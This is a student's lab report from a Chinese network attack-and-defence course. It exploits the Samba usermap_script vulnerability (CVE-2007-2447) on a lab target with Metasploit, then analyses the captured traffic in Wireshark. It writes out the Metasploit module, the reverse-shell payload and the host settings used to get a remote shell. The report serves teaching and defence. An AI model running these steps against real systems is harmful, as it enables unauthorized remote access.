20212810 2021-2022-2 《网络攻防实践》实践七报告
20212810 2021-2022-2 《网络攻防实践》实践七报告
一.实践内容
1.使用Metasploit进行Linux远程渗透攻击
任务:使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。实践步骤如下:
①启动Metasploit软件,可根据个人喜好使用msfconsole、msfgui、msfweb之一;
②使用exploit:exploit/multi/samba/usermap_script渗透攻击模块;
③选择攻击PAYLOAD为远程shell,(正向或反向连接均可);
④设置渗透攻击参数(RHOST,LHOST,TARGET等);
⑤执行渗透攻击;
⑥查看是否正确得到远程Shell,并查看获得的权限。
2.实践作业:攻防对抗实践
攻击方:使用 Metasploit ,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。
防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。
Linux 授权与访问控制机制:
Linux 通过 VFS 虚拟文件系统来实现对不同类别文件系统格式的支持,并同时通过设备义件类型来统一集成对其他类型系统资源的管理。”一切皆是文件” 是 Linux 的基本哲学之一。 不仅普通的文件,目录、字符设备、块设备、套接字等在 UNIX/Linux 中都是以文件被对待,它们虽然类型不同,但是对其提供的却是同一套操作界面。
文件的所有者:每个 Linux 文件都拥有其所有者,表明了该文件属于哪个用户所有,以文件所有者的 uid 以及文件所有者所在组的 gid 来指明,在用户创建文件时,文件系统将自动设置新文件的所有者及其所在组,并自动地赋予文件所有者读/写的权限。文件的所有者可以通过 chown 命令进行修改。
文件的访问权限:
- R (Read, 读取):对文件而言,具有读取文件内容的权限;对目录来说,具有浏览目录的权限。
- W (Write, 写入):对文件而言,具有新增、修改文件内容的权限;对目录来说,具有删除、移动目录内文件的权限。
- X (execute,执行):对文件而言,具有执行文件的权限;对目录来说该用户具有进入目录的权限。
Linux 系统远程攻防技术
从远程网络上侵入 Linux 系统的主要方法在目前来说,不外乎如下四种:
- 对 Linux 系统各种网络服务的身份认证过程所涉及的用户口令字进行猜测攻击,期望破解出某一服务真实有效的用户账户和口令,从而假冒该用户的身份进入系统。
- 发掘 Linux 系统某个监听网络服务的安全漏洞并进行利用,在攻击目标服务进程中注入攻击负载模块代码进行执行,从而为攻击者提供本地 Shell 的访问权。
- 通过网页木马、发送欺诈邮件、提供特洛伊木马程序等技术和社会工程学手段,来攻击客户端程序和用户,由客户端软件或用户来安装和执行恶意程序,从而主动向攻击者打开 Linux 系统的大门。
- 在 Linux 系统作为连接多个网络的路由器,或者打开“混杂模式”实施网络嗅探的监听器时,可能遭受攻击者特意构造的数据包攻击,从而被攻击者取得访问权。
针对网络服务远程渗透攻击的安全防范措施
- 禁用所有不必要的网络服务;
- 尽量选择更安全的网络协议与服务软件,并使用最佳安全实践进行部署;
- 及时更新网络服务版本;
- 使用 xinetd、防火墙为 Linux 网络服务添加网络访问控制机制;
- 建立入侵检测与应急响应计划流程。
二.实践过程
1.动手实践:使用Metaploit进行Linux远程渗透攻击
攻击机与靶机IP相关信息如下:

先来测试攻击机与靶机能够相互ping通

指令namp T4 192.168.200.123查看Samba使用的端口,下图可以看到Samba开放tcp端口有:139、445端口。

在kali打开渗透软件metasploit

查看攻击载荷并设置攻击载荷use exploit/multi/samba/usermap_script,命令show payloads会显示出有效的攻击载荷,选择攻击PAYLOAD为远程shell。

设置攻击的PAYLOAD为set PAYLOAD cmd/unix/reverse,设置攻击机地址LHOSTset LHOST 192.168.200.66,靶机地址RHOSTset RHOST 192.168.200.123,使用命令show options再次查看payload状态

开始发起攻击

攻击结果如图下图所示:

通过命令whomai查看当前权限账户

2.实践作业:攻防对抗实践
- 攻击方:使用 Metasploit ,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。
- 防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。
在实践一 run时打开wireshark,我们来进行分析

如下图,查看攻击者的IP地址192.168.200.66,端口45597;目标IP192.168.200.123,端口139

由上图也可得出,攻击利用了139端口漏洞。139端口属于TCP服务,Unix中用于Samba服务。开启139端口虽然可以提供共享服务,但是常常被攻击者所利用进行攻击,可以试图获取用户名和密码。
查看攻击成功建立连接使用的shellcode
追踪 TCP 流,看到:

同时因为是SMB协议,通过sh执行了恶意脚本,基本上可以确定是利用了Samba上的CVE-2007-2447漏洞
三.学习中遇到的问题及解决
使用书上的很多渗透模块攻击后无法建立会话。
后来经过不断地试别的漏洞总算找到了成功的,但是无法建立会话的原因还是不明白。
四.实践总结
这次实验和上次的 Windows 攻防流程基本上一致的,完成起来明显轻松许多,也算是复习了之前的分析过程。

浙公网安备 33010602011771号